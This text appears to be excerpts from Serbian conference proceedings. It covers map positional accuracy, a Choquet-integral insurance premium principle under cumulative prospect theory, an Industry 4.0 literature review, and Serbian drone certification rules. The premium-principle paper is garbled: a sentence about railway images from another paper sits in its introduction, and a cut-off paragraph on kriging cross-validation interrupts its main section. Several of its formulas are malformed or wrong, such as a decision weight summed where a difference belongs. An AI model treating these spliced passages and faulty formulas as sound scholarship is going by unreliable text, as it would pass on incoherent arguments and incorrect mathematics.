dR =			4,000	L	MAS =		2,428		

Table 1. Positional accuracy Assessment of the sheet DTM25 NK34-5/6-2-4 Vranje.



Fig. 2. Visual display of horizontal positional accuracy assessment results of the sheet DTM25 NK34-5/6-2-4 Vranje.

curacy of digital topographic maps, scaled at 1:25 000, using a geostatistical interpolation method, such as the Ordinary Kriging.

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Rezime:

U radu je opisana mogućnost vizualizacije dobijenih rezultata ocene horizontalne položajne tačnosti digitalne topografske karte razmera 1:25 000 (DTK25) korišćenjem geostatističkih metoda interpolacije. Ocena horizontalne položajne tačnosti DTK25 realizovana je na osnovu standarda STANAG 2215 (eng: Standardization Agreement), koji je namenjen izdavačima geotopografskog materijala, odnosno nacionalnim kartografskim agencijama za ocenu horizontalne i vertikalne položajne tačnosti prostornih podataka, korišćenjem softvera ArcGisfirme ESRI. Rezultati ocene horizontalne položajne tačnosti prikazani su pomoću karte sa interpolovanim vrednostima korena srednjeg horizontalnog položaja.

Ključne reči:

Kvalitet prostornih podataka, položajna tačnost, STANAG 2215, metode interpolacije, kriging.


DECISIONS BASED ON A GENERAL PREMIUM PRINCIPLE IN CUMULATIVE PROSPECT THEORY

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Abstract:

Cumulative prospect theory (CPT) has provided one of the most influential accounts of how people make decisions under risk. CPT is the model for comparing two decisions amounts regarding two pairs of sets, the positive and negative features of the alternatives. The premium principle is a rule for assigning a premium to an insurance risk. In this article a general CPT premium principle is introduced and characterized. It covers many different types premium principles used in actuarial science, e.g. distortion premium principle, the net premium principle, the asymmetric Choquet integral based premium principle.

Keywords:

decision making, general premium principle, Choquet integral, CPT-like integral

1. INTRODUCTION

Decision making involves two distinct parties: the decision maker and the decision analyst. Analysts are often tempted to study a problem, and then separately develop an elaborate mathematical model to be used by the decision maker. In decision theory, under the bipolar perspective, Cumulative Prospect Theory (CPT), proposed in [19], is the numerical model for comparing two decisions amounts regarding two pairs of sets, the positive and negative features of the alternatives. In this article a general CPT premium principle is introduced and characterized. It covers many different types premium principles used in actuarial science, e.g. distortion premium principle, the net premium principle, the asymmetric Choquet integral based premium principle. For more details see [13].In the following images the examples of planning two major railway lines in the world are shown. The first relates to the Integration of the Trans Siberian Rail into Euroasian Rai Network (Image 2).

The paper is organized as follows: Section 2. provides different types of decision models and definition of Cumulative prospect theory. Section 3. gives mathematical background. Section 4. introduces the CPT-like integral-based premium principle, provides examples and shows the main properties of the CPT-like integral based premium principle.

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2. DECISION THEORY CPT

Decision making is the most important task of a manager and it is often a very difficult one. The foundations of decision making are mainly due to John von Neumann and Oskar Morgenstern.

There are different types of decision models that help to analyze the different scenarios:

- Decision making under uncertainty
- Decision making under risk

• Decision making by buying information (pushing the problem towards the deterministic "pole").

Decisions under uncertainty are relevant in many fields, including finance, economics, psychology, management science, medicine, computer science and engineering. One plausible way to make decisions under uncertainty is by choosing probabilities, sometimes called subjective, for the uncertain events, and then maximizing expected value with respect to those probabilities.

Rank dependence and prospect theory are the best performing and mostly confirmed empirical models

for decisions under risk and uncertainty to date, see [16;20]. In 1992, the psychologists Tversky and Kahneman incorporated Quiggin's idea of rank dependence to solve a theoretical problem of their original prospect theory of 1979. It led to the present version of prospect theory, also called cumulative prospect theory, see [19]. Original prospect theory has some theoretical problems in the way it implemented nonadditive probabilities. It deals only with risk (known probabilities) and within risk it deals only with a limited set of prospects (only two nonzero outcomes), see [16]. The major difference of cumulative prospect theory from its original version is that the concept of weighting is introduced in the cumulative probability distribution function as it is done in the rank-dependent expected utility theory.

In decision theory, under the bipolar perspective there are two weighting functions, w+ for gains and w- for losses. As for risk, w+ relates to gain- ranked events and w- relates to loss-ranked events, where we expect w+ and w- to exhibit similar properties. CPT permits that outcomes are not distinct in the notation $(x_1, p_1;...; x_n, p_n)$ for prospects.

Suppose that $x_1 \le ... \le x_k \le 0 \le x_{k+1} \le ... \le x_n$. Then the CPT value of the prospect $(x_1, p_1;...; x_n, p_n)$ is given by the following formula:

$$\sum_{i=1}^{k} \pi_{i} v(x_{i}) + \sum_{i=k+1}^{n} \pi_{i} v(x_{i})$$

where the decision weights are defined by:

$$\pi_1^- = w^-(p_1)$$

$$\pi_i^- = w^-(p_1 + \dots + p_i) + w^-(p_1 + \dots + p_i),$$

$$2 \le i \le k$$

$$\pi_i^+ = w^+ (p_i + \dots + p_n) - w^+ (p_{i+1} + \dots + p_n),$$

 $k + 1 \le i \le n - 1$

Cumulative prospect theory adopts the rankdependent method for transforming probabilities that was introduced in [16], see [20].

3. MATHEMATICAL BACKGROUND

Let us consider a class of insurance risks,

 $f: \Omega \rightarrow R$ (random variables) on a measurable space (Ω, Σ) , where Σ is a σ -algebra of subsets of Ω , $p: \Sigma \rightarrow [0, 1]$ is a probability measure, and + denotes the class of all nonnegative insurance risks.

Definition 1. A set function m : $\Sigma \rightarrow [0, \infty]$ is called a capacity (monotone set function) if $m(\emptyset) = 0$ and $m(A) \le m(B)$, whenever $A \subseteq B \subseteq \Omega$ (monotonicity). If in addition $\mu(\Omega)=1$ the capacity is normalized.

We denote by \mathcal{M} the set of all *m* capacities on

 Ω . If *m* does not satisfy monotonicity, it is called a game. For any capacity m, the dual capacity is defined by

$$m(A) = m(\Omega) - m(\Omega \setminus A)$$
,

for any $A \subseteq \Omega$.

Let *m* be a capacity on Ω and A, B $\subseteq \Omega$. We say that *m* is additive if

$$m(A \cup B) = m(A) + m(B),$$

whenever A and B are disjoint.

In the finite case we have the following representation for the Choquet integral:

Let *m* be a capacity on $\Omega = \{1, 2, ..., n\}$ and $x = (x_1, x_2, ..., x_n)$. The Choquet integral of $x \in [0,1]^n$ with respect to *m* is defined as:

$$C_m(x) = \sum_{i=1}^n (x_{\sigma(i)} - x_{\sigma(i-1)}) \ m(A_{\sigma(i)}) ,$$

where σ is permutation on {1, 2,... ,n} such that

$$\begin{split} & x_{\sigma(1)} \leq x_{\sigma(2)} \dots \leq x_{\sigma(n)} \text{ with the convention} \\ & x_{\sigma(0)} = 0 \text{ and } A_{\sigma(i)} = \{\sigma(1), \sigma(2), \dots, \sigma(n)\}. \end{split}$$

According to [2, 3, 8, 9, 14], we define the Choquet integral $I : \mathcal{F} \ge \mathcal{M} \rightarrow [0, \infty]$ of a Σ -measurable

function $f : \Omega \rightarrow [0, \infty]$ based on a monotone measure *m*.

Definition 2. The Choquet integral $I : \mathcal{F} \times \mathcal{M} \rightarrow [0, \infty]$ is defined by:

$$I(f, m) = \int_{0}^{\infty} m(\left\{\omega \mid f(\omega) \ge x\right\}) dx.$$

The Choquet integral is a special type of the universal integral, introduced in [8], related to the Choquet integral, see [1; 2; 3; 4; 16; 17; 19; 20; 21]. The Choquet integral was introduced in 1953 by Choquet, see [2]. It is a generalization of the Lebesgue integral where the classical measure is replaced by a capacity, see [10].

4. CPT-LIKE INTEGRAL-BASED PREMIUM PRINCIPLE

The integral-based premium principle is any rule $\Pi(f, m_1, m_2)$ for assigning a premium $\Pi(f, m_1, m_2)$ to an insurance risk $f: \Omega \rightarrow \mathbb{R}$, and $m_1, m_2 \in \mathcal{M}$. Let \mathcal{F}_a denotes the class of insurance risks $f: \Omega \rightarrow [-a, a]$, $a \in \mathbb{R}^+$. For $f \in \mathcal{F}_a$, we denote by $f^+, f^- \in \mathcal{F}_a^+$ positive part and the negative part of f defined with $f^+=f \lor 0$, $f^-=-f \lor 0$.

Let Mb denotes class of all monotone measures such that $m(\Omega) = b$

We introduce the next general CPT type integral:

Definition 3. The CPT-like integral-based premium principle

$$\begin{split} \Pi_{\text{CPT}}\left(f,\,m_{_{1}},\,m_{_{2}}\right):\,\mathcal{F}_{\!_{a}}\,\mathbf{x}\,\mathcal{M}_{_{b}}\,\mathbf{x}\,\mathcal{M}_{_{b}}\,\mathbf{\rightarrow}\,\mathbf{R}\text{ for an insurance risk}\\ f\in\mathcal{F}_{_{a}}\text{ and }m_{_{1}},\,m_{_{2}}\in\mathcal{M}_{_{b}}\text{ is defined by:} \end{split}$$

$$\Pi_{CPT}(f, m_1, m_2) = \\ = \phi^{-\stackrel{\ell}{-1}}(I(\phi(f^+), m) - I(\phi(f^-), m)), \\ \stackrel{1}{}_{1}$$

for an odd, increasing, continuous function

$$\phi:[-a, a] \to [-\infty, \infty], \phi(0) = 0, \phi(a) = \infty.$$

variable at a certain point, but this method can also[13]:

- Calculate the variance of the variable, which enables determination of the estimated size of confidence in intervals;
- Assess an average value of the variable in a section of the area,
- Determine the best location for a new measurement point before planning a network of measuring points.

The software program, which used ArcGIS in the process of the interpolation method, will be offered an opportunity to be cross validated in order to reach the optimal parameters for the selection of reference points. Cross Validation is used for quality assessment or validation of results to predict the applied method of interpolation. It is a process where the interpolation, using the selected parameters (and interpolation methods), interpolates desired value (predicted value) in a reference point, on the condition that the item is not taking part in the interpolation. Different measures and predicted values are to be made afterwards. The procedure is repeated for all locations at which the measurement was performed.

4.1. Examples

The CPT-like integral-based premium principle covers many different types premium principles used in actuarial science, see [5; 7; 23]:

1. The net premium principle, is defined for $f \in \mathcal{F}$ and a probability measure $p \in \mathcal{M}_1$ as:

$$E(f) = \prod_{N} (f, p, p) = I(f^{+}, p) - I(f^{-}, p).$$

2. The distortion premium principle, is defined for $f \in \mathcal{F}$ and $p \in \mathcal{M}_1$ as:

$$\prod_{DPP} (f, m, m) = I(f^+, m) - I(\overline{f^-}, m),$$

where $m = g \circ p$ for a non-decreasing distortion function $g:[0,1] \rightarrow [0,1]$, g(0) = 0, g(1) = 1

3. The asymmetric Choquet integral-based premium principle, is defined for $f \in \mathcal{F}$ and a monotone measure measure $m \in M_h$ as:

$$\prod_{ACH} (f, m, m) = I^+, m) - I(f^-, \overline{m}),$$

where $\,m$ is a dual set function of \overline{m} .

4. The general CPT premium principle, is defined for $f \in \mathcal{F}$ and monotone measures $m_1, m_2 m \in \mathcal{M}_b$ as:

$$\prod_{CPT} (f, m_1, m) = I(f^+, m) - I(f^-, m).$$

Some premium principles do not have the same shape as the above principles, although they have representation in the terms of the monotone integral:

5. The mean premium principle, is defined for $f \in \mathcal{F}$

, a probability measure $p\in\mathcal{M}_1$ and an increasing real-valued function , $\phi,\phi(0)=0$, as:

$$\prod_{M} (f) = \phi^{-1}(I(\phi(f), p))$$

6. The exponential premium principle, defined for $f \in \mathcal{F}_{\mathcal{F}}$, a probability measure $p \in \mathcal{M}_1$ and $\alpha > 0$ by:

$$\prod_{\exp}(f) = \frac{1}{\alpha} \ln(I(e^{\alpha f}, p))$$

The exponential premium principle satisfies many nice properties, including additivity with respect to independent risks. For more details about this integral-based premium principles see [16; 19; 20; 22].

4.2. Properties of CPT-like integral-based premium principle

We introduce the following notions:

Let $\phi:[-a, a] \rightarrow [-\infty, \infty]$ be an odd, strictly increasing, continuous function.

The symmetric pseudo-addition $\oplus : [-a, a]^2 \rightarrow [-a, a]$ is defined by:

$$x \oplus y = \phi^{-1}(\phi(x) + \phi(y)),$$

with the convention $\infty - \infty = \infty$

The symmetric pseudo multiplication $\otimes : [-a,a]^2 \rightarrow [-a,a]$ is defined by:

$$x \otimes y = \phi^{-1}(\phi(x)\phi(y)),$$

with the convention $0 \cdot \infty = 0$ Let *f* and *h* be from \mathcal{F}_a . We say that: *f* and *h* are comonotonic risks if

$$f(w) < f(w_1) \Longrightarrow h(w) \le h(w_1),$$

for all $w, w_1 \in \Omega$, see [14;17]. f and h are cosigned risks if $f(w)h(w) \ge 0$, for all $w \in \Omega$.

Let us denote by $f \sim s h$ a couple of comonotonic and cosigned risks. For more details see [11].

The CPT-like integral-based premium principle satisfies the following properties, see [13]:

• Risk loading: for all $m_1 = m_2 = p = \mathcal{M}_1$ and ϕ convex on [0, a] we have $E(f) \leq \prod(f, m_1, m_2)$ for all $f \in \mathcal{F}_a^+$.

• Maximal loss: for all $f \in \mathcal{F}_a^+$ and $m_1, m_2 \in \mathcal{M}_1$ we have $\Pi(f, m_1, m_2) \leq ess \sup_{m_1} (f)$.

• No unjustified risk loading: if a risk f is identically equal to a constant $c \in [-a, a]$ and $m_1, m_2 \in \mathcal{M}_1$, than $\Pi(f, m_1, m_2) = c$.

• ϕ -co-comonotonic additivity: for all $f_1, f_2 \in \mathcal{F}_a$ such that $f_1 \sim s \ f_2$ and $m_1, m_2 \in \mathcal{M}_{b_1}$ it holds

$$\Pi(f_1 \oplus f_2, m_1, m_2) =$$

= $\Pi(f_1, m_1, m_2) \oplus \Pi(f_2, m_1, m_2).$

• ϕ -scale invariance:

$$\Pi(c \otimes f, m_1, m_2) = c \otimes \Pi(f, m_1, m_2).$$

5. CONCLUSION

We have introduced a general premium principle. This new integral-based premium principle can be viewed as a common frame for the mean premium principle and the general CPT premium principle. The future work will be further research into the properties of the general premium principle and its applications.

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INTERNATIONAL SCIENTIFIC CONFERENCE ON INFORMATION TECHNOLOGY AND DATA RELATED RESEARCH

ADVANCED ENGINEERING SYSTEMS

THE EFFECTS OF CURRENT TRENDS ON THE DEVELOPMENT FACTORS OF INDUSTRY 4.0 AND FACTORIES OF THE FUTURE (FOF)

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Abstract:

This paper gives a literature overview and states the effects of current economic trends on the development factors of Industry 4.0 and Factories of the Future (FoF). The application of new technology based on cyber-physical systems and the Internet leads to significant improvements such as increase of automation and shorter period between the development of a new product and its market launch.

Keywords:

Industry 4.0, Factory of the Future (FoF), Smart Factory, Internet of Things (IoT), Logistics 4.0.

1. INTRODUCTION

The world around us has been changing on a daily basis along with development of human civilization. Therefore, technical and technological developments of production are changing as well. We are all now familiar with today's concept of "smart": smart phones, smart TV, smart cities, smart factories, smart medicine, smart cars, smart railways, etc.

Industry 4.0, as shown in Image 1, is a model that shows how industrial production follows the latest developments and changes over time. Thereby, the man, machine and the production itself constitute the force in one intelligent and independent network.

The main driver of each industry is regulated transport and road network. Today, the most developed countries of the world want to economically dominate the world trade by developing railways and other high-quality transport systems.

Why is this important? You can produce the best product in the world, but if you cannot transport the product to the customer in the shortest possible period of time, you cannot survive at global market, and you lose the customers.

Simply, Factories of the Future (FoF) and the Industry 4.0 must be accompanied by high quality and reliable transport system.

In the following images the examples of planning two major railway lines in the world are shown. The first relates to the Integration of the Trans Siberian Rail into Euroasian Rai Network (Image 2).





Image 1. Industry 4.0, taken from [2].



Image 2. Integration of the Trans Siberian Rail into Euroasian Rai Network, taken from [1].

Image 3 represents the plans for building new railway project. The project name is Chinese renewing "Silk Road" and its purpose is to economically connect Asian and Arab peninsula with Europe. There are 3 possible routes of new Silk Road:

- Northern Route: 10-16 days (Between 6000 km and 7700 km)
- Central Route: 13-18 days (Between 5300 km and 6000 km)
- Southern Route: 8-17 days (Between 4500 km and 6200 km).



Image 3. The silk road railway, taken from [1].

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2. MEGA TRENDS OF THE FUTURE

So, is it possible to know what the future will look like? The authors Frost & Sullivan have defined so called mega trends - transformative, global forces that define the future world with their far reaching impacts on businesses, societies, economies, cultures, and personal lives. According to them, [3] there are top 10 mega trends of the future:

- 1. Urbanization: Mega Cities, Mega Regions, Mega Corridors, Smart Cities;
- 2. E-Mobility;
- Social Trends: Geo Socialization, Generation Y and Reverse Brain Drain;
- 4. SPACE JAM: Congested Satellite Orbits;
- 5. World War 3: Cyber Warfare;
- 6. RoboSlaves;
- 7. Virtual World: Fluid Interfaces and Haptic Technology;
- 8. Innovating to Zero!: Zero Emission Technologies;
- 9. Emerging Transportation Corridors;
- 10. Health, Wellness and Well-Being.

According to *Bitkom* (a German IT association) and their Managing Director Dr. Bernhard Rohleder's prediction [8], global ICT markets will probably once again grow faster than the economy as a whole. In just a few years, most data will be coming from emerging markets such as China and India.

According to the study conducted by the market research and consulting firm *International Data Corporation* (*IDC*) [8], these markets will cover 62 percent of the digital universe in 2020 (expected to consist of 40 zettabytes of data). IDC estimates that in 2020 nearly 40 percent of all data will come into contact with cloud computing at some point between its creation and use. As a result, the number of cloud servers will grow tenfold worldwide.

The U.S. software firm *Symantec* found out that only 17 percent of more than 3,000 companies surveyed worldwide used cloud storage in 2013. There is a big difference in usage figures for large companies (26 percent) and small and medium-size enterprises (7 percent). Symantec states that the main reason why companies decide not to use cloud computing is their fear of hidden costs.

Another study done by *Booz & Company* [8], Navigating the Digital Future, shows that companies worldwide spend an average of 8.1 percent of their research and development budgets on digital tools. The percentages were highest among the sectors for software/Internet, aerospace/defense and healthcare. The ten most important technology trends include the modernization of infrastructure and the use of mobile devices such as smartphones and tablet computers.

The Fraunhofer Institute for Industrial Engineering (IAO) study [8], showed that less than one fourth of the businesses, which had been surveyed in Germany, were either highly or fully automated. According to the respondents, the main obstacles to the creation of a smart factory are still unresolved questions concerning IT security, a lack of standards, higher education level of the personnel, insufficient performance of the information and communications infrastructure, as well as high investment costs.

A great example of the application of Digital Geography in the world is shown in Image 4.

According to Nick Johnes, Gartner's vice president and distinguished analyst, 10 trends and predictions for the Future of IoT are [5]:

- 1. Platforms,
- 2. Standards and Ecosystems,
- 3. Event Stream Processing,
- 4. Operating Systems,
- 5. Processors and Architecture,
- 6. Low-Power, Wide-Area Networks,
- 7. Low-Power, Short-range IoT Networks,
- 8. Device (Thing) Management,
- 9. Analytics,
- 10. Security.

Image 5 represents the example of estimated data growth in various categories and overall, and Image 6 shows the IoT security [5].

3. KEY SUCCESS FACTORS FOR INDUSTRY 4.0

There are five Key Success Factors for Industry 4.0 [2]:

- Start with the people Management should entitle a responsible person/team for the digital transformation. Management commitment and training/ education is absolutely the key.
- 2. Begin digitalizing, step by step Start with the first digital processes to learn and adopt change. Combine technology strategies with your business model and resources.
- 3. Learn from your clients and peers Focus your key clients' changing needs in your digital transformation process. Listen to and learn from your clients and best peers in your industry.

- Collaborate and share best practice Do not underestimate the power of working together; build a strong ecosystem with partners. Share experience and best practice and learn from digital markets. Use social media, online communities and online channels to promote your products or services.
- 5. Do not wait, act now New disruptive business models can change clients' needs very fast. Do your homework and digital assessment now.



Image 4. Digital Geography: North America, Western and Northern Europe, taken from [4].



Image 5. Estimated data growth in various categories and overall, taken from [5].



Image 6. IoT Security, taken from [5].

4. GLOBAL MANUFACTURING COMPETITIVENESS INDEX

According to Deloitte the main factors for Global Manufacturing Competitiveness Index for the year 2016 were [6]:

- 1. Global Manufacturing Competitiveness Index, Country rankings
- 2. Examining the drivers of global manufacturing competitiveness - As in prior GMCI reports, Talent drives manufacturing competitiveness, executives responding to the 2016 global CEO survey were asked to rank the key government and market forces that drive global manufacturing competitiveness. Study results show that countries that do well across several of these categories are generally ranked higher than those nations that excel in only one or two of the top drivers. The drivers of global manufacturing competitiveness are shown in image 7 [6].

In order to understand the comparative strengths and weaknesses of some of the most competitive nations, global manufacturing CEOs were asked to rate six focus nations – the United States, Germany, Japan, South Korea, China, and India, based on 6 of 12 drivers of competitiveness. They made a mosaic of strengths and weaknesses for these 6 countries. The following section explores each driver and makes unique contribution to shaping the overall global manufacturing landscape.

This mosaic shows the competitive advantage of Germany, the United States and Japan on most of the top drivers including talent, innovation policy and infrastructure. These results are direct consequence of regulated procedures. Also, strong legal and regulatory foundation paired with a reliable physical infrastructure in these countries enables advanced nations to lead the world in overall manufacturing competitiveness. In addition, the survey results reveal that China and India still hold a significant competitive advantage when it comes to the cost of labor and materials. On the other hand, these two countries are among the least competitive global nations in respect to their legal and regulatory environments, while India has a problem with its poor physical infrastructure.

3. Competitiveness of trade exports [6] - Competitiveness of trade exports is the key determinant of overall country competitiveness and prosperity. Nations that are able to competitively export higher value, advanced manufacturing and technology intensive products have higher overall prosperity.

Image 9 represents the supplemental analysis: Top 10 future most competitive nations and their top five export partners [6].



Image 7. Examining the drivers of global manufacturing competitiveness, taken from [6].

Linking drivers of competitiveness and country performance

Table 6	Table 6: Global CEO survey: Focus country performance by key competitiveness drivers									
Selected country manufacturing competitiveness drivers		United States	Germany	Japan	South Korea	* : China	⊛ India			
1	TALENT	89.5	97.4	88.7	64.9	55.5	51.5			
	INNOVATION POLICY AND INFRASTRUCTURE	98.7	93.9	87.8	65.4	47.1	32.8			
B	COST COMPETITIVENESS	39.3	37.2	38.1	59.5	96.3	83.5			
†	ENERGY POLICY	68.9	66.0	62.3	50.1	40.3	25.7			
₽	PHYSICAL INFRASTRUCTURE	90.8	100.0	89.9	69.2	55.7	10.0			
	LEGAL AND REGULATORY ENVIRONMENT	88.3	89.3	78.9	57.2	24.7	18.8			
Most	Most competitive Least competitive									

Image 8. Global CEO survey: Focus country performance by key competitiveness drivers, taken from [6].



Image 9. Supplemental analysis: Top 10 future most competitive nations and their top five export partners, taken from [6].

5. CONCLUSION

Industry 4.0 is new Industrial revolution of the 21st century, which enables companies to create "smarter" products and services by reducing costs and increasing efficiency where the human factor is crucial for the application. The work is based on the existing literature in the field. The world is currently facing several "megatrends" (demographic, urbanization, health, globalization, mobility, climate change, etc.) that will have strong and far-reaching economic, environmental and social consequences on societies and governments.

The creation of new economic strength for Serbia and the benefits of Industry 4.0 can be reached only through a concerted pan-Balkan, pan-European or pan-World strategy. The emergence of "digitalization" and "knowledge society" trends are at the core of a new business environment - The Economy 4.0 and therein, the Industry 4.0. This means that companies have to invest into new technologies including big data, the internet of things, new smart system of transportation and logistics, but also into the education of skilled workforce, which altogether need to be accompanied by innovative forms of governance.

New "smart" Industry 4.0 requires new modern generation of "smart" people with smart "thinking".

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POSTUPAK SERTIFIKACIJE BESPILOTNIH VAZDUHOPLOVA

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Rezime:

Tema rada je postupak sertifikacije bespilotnih vazduhoplova, sa posebnim osvrtom na Republiku Srbiju.

Sa razvojem tehnologije, bespilotni vazduhoplovi postaju sve dostupniji širokoj javnosti. Zato je neophodno pristupiti njihovoj sertifikaciji kako bi se omogućio bezbedan rad rukovalaca bespilotnoh vazduhoplova, ali i ostalih lica koja mogu biti ugrožena upotrebom. Ova oblast je, kao i sama upotreba bespilotnih vazduhoplova u Republici Srbiji, još uvek u razvoju i ima mogućnosti za znatna unapređenja.

Ključne reči:

bespilotni vazduhoplovi, operater, sertifikacija, pravilnik o bespilotnim vazduhoplovima.

1. UVOD

Bespilotni vazduhoplov je vrsta vazduhoplova čiji je let kontrolisan od strane računara koji se nalazi na vazduhoplovu, ili čijim letom se daljinski upravlja od strane operatera na zemlji [1]. Operater na zemlji je lice koje neposredno upravlja bespilotnim vazduhoplovom, kontroliše njegov let, programira sistem upravljanja bespilotnim vazduhoplovom i koje je odgovorno za njegov let. Nije dozvoljeno korišćenje bespilotnih vazduhoplova čiji je let u potpunosti kontrolisan od strane računara koji se nalazi na njemu.

Bespilotni vazduhoplovi konstruisani su za višekratnu upotrebu i definišu se po pravilima struke kao i ostali vazduhoplovi, ali bez posade i pilota. Iako se konstruišu za višekratnu upotrebu, mogu biti i sa jednokratnom upotrebom, kao na primer "samoubice", kada imaju maksimalno pojednostavljenu konstrukciju.

Klasifikacija bespilotnih vazduhoplova može biti izvršena na osnovu više aspekata i činilaca.

Prema načinu upravljanja, bespilotni vazduhoplovi dele se na:

- Neupravljane bespilotne vazduhoplove;
- Automatski upravljane bespilotne vazduhoplove;
- Daljinski upravljane bespilotne vazduhoplove, kojima upravlja pilot smešten u stanici ili kabini na vozilu.

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e-mail: aleksandar_djrc@yahoo.com Evropska asocijacija (European Association of Unmanned Vehicles Systems – EUROUVS) sačinila je klasifikaciju bespilotnih vazduhoplova na osnovu nekoliko parametara kao što su visina leta, autonomija, brzina, maksimalna težina u poletanju, veličina itd.

Prema povezanim parametrima mase, vremena doleta i nadmorskoj visini leta, bespilotni vazduhoplovi dele se na:

- "mikro" bespilotne vazduhoplove sa masom do 10 kg, autonomijom (trajanjem) leta oko 1 h i radijusom kretanja do 1 km;
- "mini" bespilotne vazduhoplove sa masom do 50 kg, autonomijom leta od nekoliko časova i radijusom od 3 km do 5 km;
- "midi" bespilotne vazduhoplove sa masom do 1000 kg, autonomijom leta od 10 h do 12 h i visinom leta od 9 km do 10 km;
- "teške" bespilotne letelice na visinama do 20 km leta i autonomijom leta duže od 24 h.

Bespilotni vazduhoplovi su u početku bili ograničeni samo na vojnu upotrebu u različitim programima, ali su se sa razvojem tehnologije počeli u većoj meri koristiti u civilnoj upotrebi.

Broj bespilotnih vazduhoplova koji se koriste u civilnim strukturama povećava se svakodnevno u različitim strukturama, od obične upotrebe iz zadovoljstva, pa sve do specijalizovane upotrebe u raznim sferama poljoprivrede, industrije, borbe protiv elementarnih nepogoda, hemijsko-bioloških akcidenata i slično.

Integracija bespilotnih vazduhoplova u nacionalni vazdušni prostor predstavlja sledeći veliki korak u evoluciji civilnog vazduhoplovstva [2].

Upotreba bespilotnih vazduhoplova u Republici Srbiji regulisana je Pravilnikom o bespilotnim vazduhoplovima (u daljem tekstu Pravilnik), pri čemu se odredbe ovog Pravilnika ne primenjuju na bespilotne vazduhoplove koji se projektuju, proizvode i koriste za operativne potrebe organa nadležnih za poslove odbrane, unutrašnjih poslova i carine, kao ni na letenje bespilotnih vazduhoplova u zatvorenom prostoru [3].

Pravilnik daje nekoliko klasifikacija bespilotnih vazduhoplova.

Prema nameni, bespilotni vazduhoplovi dele se na:

- Bespilotne vazduhoplove koji se koriste u privredne svrhe;
- Bespilotne vazduhoplove koji se koriste u neprivredne svrhe (vazduhoplovni modeli i bespilotni vazduhoplovi koji se koriste u naučne, obrazovne i druge svrhe).

Prema operativnoj masi i performansama bespilotni vazduhoplovi razvrstavaju se na sledeće kategorije:

- Kategorija 1 obuhvata bespilotne vazduhoplove čija je operativna masa manja od 0,5 kg, sa maksimalnom visinom leta do 50 m, maksimalnom brzinom leta do 30 m/s i maksimalnim doletom do 100 m;
- Kategorija 2 obuhvata bespilotne vazduhoplove čija je operativna masa od 0,5 kg do 5 kg, sa maksimalnom visinom leta do 150 m, maksimalnom brzinom leta do 30 m/s i maksimalnim doletom do 2500 m;
- Kategorija 3 obuhvata bespilotne vazduhoplove čija je operativna masa od 5 kg do 20 kg, sa maksimalnom visinom leta do 500 m, maksimalnom brzinom leta do 55 m/s i maksimalnim doletom do 2500 m;
- Kategorija 4 obuhvata bespilotne vazduhoplove čija je operativna masa od 20 kg do 150 kg, bez ograničenja visine, brzine leta i doleta [3].

2. POSTOJEĆA REGULATIVA ZA SERTIFIKACIJU BESPILOTNIH VAZDUHOPLOVA

Postupak i elementi sertifikacije definisani su u Pravilniku.

Pravilnikom se propisuju uslovi za bezbedno korišćenje bespilotnih vazduhoplova, njihovo razvrstavanje, evidentiranje, održavanje, kao i uslovi koje moraju da ispune lica koja koriste bespilotne vazduhoplove. Pravilnik se ne primenjuje na bespilotne vazduhoplove čija je operativna masa manja od 0,5 kg, ako njihova maskimalna brzina ne prelazi 20 m/s i koji dostižu maksimalni dolet do 15 m i maksimalnu visinu do 10 m.

Pravilnik definiše da se bespilotni vazduhoplovi koji se koriste u privredne svrhe, kao i bespilotni vazduhoplovi kategorija 2, 3 i 4 koji se koriste u neprivredne svrhe, upisuju u Evidenciju bespilotnih vazduhoplova koju vodi Direktorat civilnog vazduhoplovstva Republike Srbije (u daljem tekstu Direktorat) i obeležavaju se evidencionom oznakom. Upis u evidenciju bespilotnih vazduhoplova vrši se na zahtev vlasnika ili operatera bespilotnog vazduhoplova, po ovlašćenju vlasnika bespilotnog vazduhoplova, po ovlašćenju vlasnika bespilotnog vazduhoplova. Prema se uz zahtev podnosi uputstvo proizvođača za korišćenje i održavanje bespilotnog vazduhoplova. Prema Pravilniku, operater je dužan da obezbedi da se bespilotni vazduhoplov održava u skladu sa uputstvima proizvođača.

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Definisano je da se let bespilotnih vazduhoplova može realizovati samo u alociranom delu vazdušnog prostora (delu vazdušnog prostora koji je utvrdio pružalac usloga kontrole letenja, u kojem se odvija let bespilotnog vazduhoplova), a operater u definisanom roku traži alociranje vazdušnog prostora na definisanom obrascu, sa odobrenjem Direktorata za svaki let, najkasnije pet radnih dana pre nameravanog leta bespilotnog vazduhoplova.

Operater bespilotnog vazduhoplova može da koristi bespilotni vazduhoplov u privredne svrhe ako Direktorat prihvati njegovu izjavu o osposobljenosti za obavljanje planiranih aktivnosti. Izjava o osposobljenosti sadrži:

- Ime/naziv i adresu/sedište operatera;
- Opis planiranih aktivnosti;
- Evidencionu oznaku bespilotnog vazduhoplova;
- Podatke o licu koje upravlja bespilotnim vazduhoplovom;
- Navod da je upoznat sa odredbama Pravilnika i da će bespilotni vazduhoplov koristiti u skladu sa njim.

Zahtev za alokaciju vazdušnog prostora može se podneti pisanim putem, poštom, faksom i elektronskom poštom. O zahtevu, na osnovu raspoloživosti zahtevanog dela vazdušnog prostora, odlučuje jedinica za civilnovojnu koordinaciju. Veoma je bitno napomenuti da se na zahtev Ministarstva odbrane i Ministarstva unutrašnjih poslova, u slučaju potrebe realizovanja letova posebne namene u delu vazdušnog prostora koji je alociran za let bespilotnog vazduhoplova, jedinica za civilno-vojnu koordinaciju stavlja van snage odluku o alokaciji vazdušnog prostora o čemu odmah obaveštava operatera bespilotnog vazduhoplova.

Pravilnikom su definisane i određene zone u kojima nije dozvoljeno letenje bespilotnog vazduhoplova:

- U zoni do 5 km od referentne tačke aerodroma koji se nalazi u klasi D (osim po ododbrenju Direktorata);
- Letenje noću i van vidnog polja operatera bespilotnog vazduhoplova;
- Maksimalno dozvoljena visina lite 100 m iznad tla, osim po posebnom odobrenju Direktorata;
- Maksimalno dozvoljena horizontalna udaljenost bespilotnog vazduhoplova od operatera 500 m itd.

Lice koje upravlja bespilotnim vazduhoplovom mora biti punoletno i zdravstveno sposobno, što dokazuje lekarskim uverenjem u skladu sa uverenjima za određene kategorije motornih vozila ili vozačkom dozvolom izdatom u skladu sa Zakonom o bezbednosti u saobraćaju na putevima, izuzev dozvola izdatih za kategorije M i F. Lice koje upravlja bespilotnim vazduhoplovima mora imati potvrdu o položenoj proveri znanja izdatoj od strane Direktorata na neograničeno vreme.

3. PREDLOG METODE

Sertifikacija u oblasti bespilotnih vazduhoplova načelno se može podeliti na dve oblasti:

- 1. Sertifikacija operatera bespilotnog vazduhoplova;
